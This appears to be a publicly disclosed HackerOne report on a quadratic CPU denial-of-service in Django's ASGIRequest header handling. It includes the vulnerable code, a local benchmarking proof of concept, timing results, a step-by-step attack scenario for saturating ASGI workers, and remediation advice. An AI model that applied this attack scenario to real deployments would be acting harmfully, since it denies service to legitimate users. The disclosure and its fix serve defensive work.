HexBrain

Django · Report #3426417

ASGIRequest header concatenation quadratic CPU DoS on Django via repeated headers leads to worker exhaustion

Validstatus
24upvotes
9 Feb 2026disclosed

How it was found

ASGIRequest header concatenation quadratic CPU DoS

Reporter: Jiyong Yang / BAEKSEOK University Target: Django (current main, affects all versions with ASGI support)
Type: Denial of Service (CPU exhaustion)

Summary

django.core.handlers.asgi.ASGIRequest builds the META dictionary by iterating over the ASGI scope["headers"] array. Whenever the same header name appears multiple times (which is legal in HTTP/2 and HTTP/3), the code concatenates the previous value and the new chunk via value = existing + "," + new. Because Python strings are immutable, each concatenation copies the entire accumulated value. If an attacker repeats a header n times, the loop performs 1 + 2 + … + n = Θ(n²) bytes of copying before the request even reaches view code. A single request with a few thousand duplicated headers therefore ties up the worker CPU and creates a denial-of-service condition on any Django ASGI deployment.

        for name, value in self.scope.get("headers", []):
            name = name.decode("latin1")
            if name == "content-length":
                corrected_name = "CONTENT_LENGTH"
            elif name == "content-type":
                corrected_name = "CONTENT_TYPE"
            else:
                corrected_name = "HTTP_%s" % name.upper().replace("-", "_")
            value = value.decode("latin1")
            if corrected_name == "HTTP_COOKIE":
                value = value.rstrip("; ")
                if "HTTP_COOKIE" in self.META:
                    value = self.META[corrected_name] + "; " + value
            elif corrected_name in self.META:
                value = self.META[corrected_name] + "," + value
            self.META[corrected_name] = value

Impact

  • One HTTP/2 request that repeats a short header 8,000–16,000 times consumes several hundred milliseconds to multiple seconds of CPU just to build the request object. No body payload is required.
  • Attackers can open a handful of parallel connections and keep ASGI workers (uvicorn + gunicorn, Daphne, etc.) saturated, preventing legitimate traffic from being served.
  • The attack stays within Django's documented limits (URLs/headers < 8 KB, body < 2.5 MB) and requires no special configuration changes, so it satisfies the Django security policy.

Proof of Concept

The following script imports Django from the repository, constructs ASGIRequest objects with varying header counts, and measures how long __init__() spends concatenating:

import sys, time
from io import BytesIO

sys.path.insert(0, "/django-poc")
sys.path.insert(0, "/django-poc/django")
import asgiref.sync

class ThreadSensitiveContext:
    async def __aenter__(self): return self
    async def __aexit__(self, exc_type, exc, tb): return False

asgiref.sync.ThreadSensitiveContext = ThreadSensitiveContext

from django.conf import settings
if not settings.configured:
    settings.configure(DEBUG=False, SECRET_KEY="x", ROOT_URLCONF=__name__,
                       ALLOWED_HOSTS=["*"], USE_TZ=True)

import django
django.setup()
from django.core.handlers.asgi import ASGIRequest

def bench(n, header_len=128):
    scope = {
        "type": "http",
        "scheme": "http",
        "path": "/",
        "method": "GET",
        "headers": [(b"cookie", b"a=1" * (header_len // 4)) for _ in range(n)],
        "query_string": b"",
    }
    start = time.perf_counter()
    ASGIRequest(scope, BytesIO(b""))
    return time.perf_counter() - start

for n in (2_000, 4_000, 8_000, 16_000):
    print(f"{n} headers -> {bench(n):.6f}s")

Example output on my M3 system:

2000 headers -> 0.015708s
4000 headers -> 0.066771s
8000 headers -> 0.233624s
16000 headers -> 1.131225s

Doubling the header count quadruples the runtime, clearly showing the Θ(n²) growth. All requests used zero body bytes and only ~2 MB of total header data, so they comply with Django's policy limits.

Attack Scenario

  1. Open an HTTP/2 connection to the Django ASGI deployment (gunicorn+uvicorn, Daphne, etc.).
  2. Send a GET request with one cookie (or any header) duplicated thousands of times, keeping individual header values small (<128 B) and leaving the body empty.
  3. ASGIRequest concatenates each copy into META, burning CPU before middleware or views run.
  4. Repeat on a few concurrent connections to keep all worker processes busy and deny service to legitimate users.

Root Cause

The request constructor stores repeated headers as a single comma-delimited string by copying the full accumulated value at every iteration. Because Python strings are immutable, each existing + "," + value operation reallocates and copies the entire string. There is no upper bound on repeated headers and no streaming/buffering mechanism, so the loop performs Θ(n²) work for Θ(n) input.

Remediation Ideas

  1. Collect repeated headers in lists (e.g., defaultdict(list)) and only call ",".join(values) after the loop, reducing the complexity to O(n).
  2. For cookies, use "; ".join(...) with the same approach instead of repeated string concatenation.
  3. Optionally enforce a sane maximum repetition count per header name to fail fast on absurd inputs.

Policy Fit

  • Inputs remain within Django's published limits (body under 2.5 MB, headers under 8 KB per entry).
  • Attack works against default ASGI deployments with no custom settings.
  • Impact is a classic CPU exhaustion DoS, explicitly listed as in-scope for Django's security program.

Timeline

  • 2025-11-14: Issue discovered and locally benchmarked.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original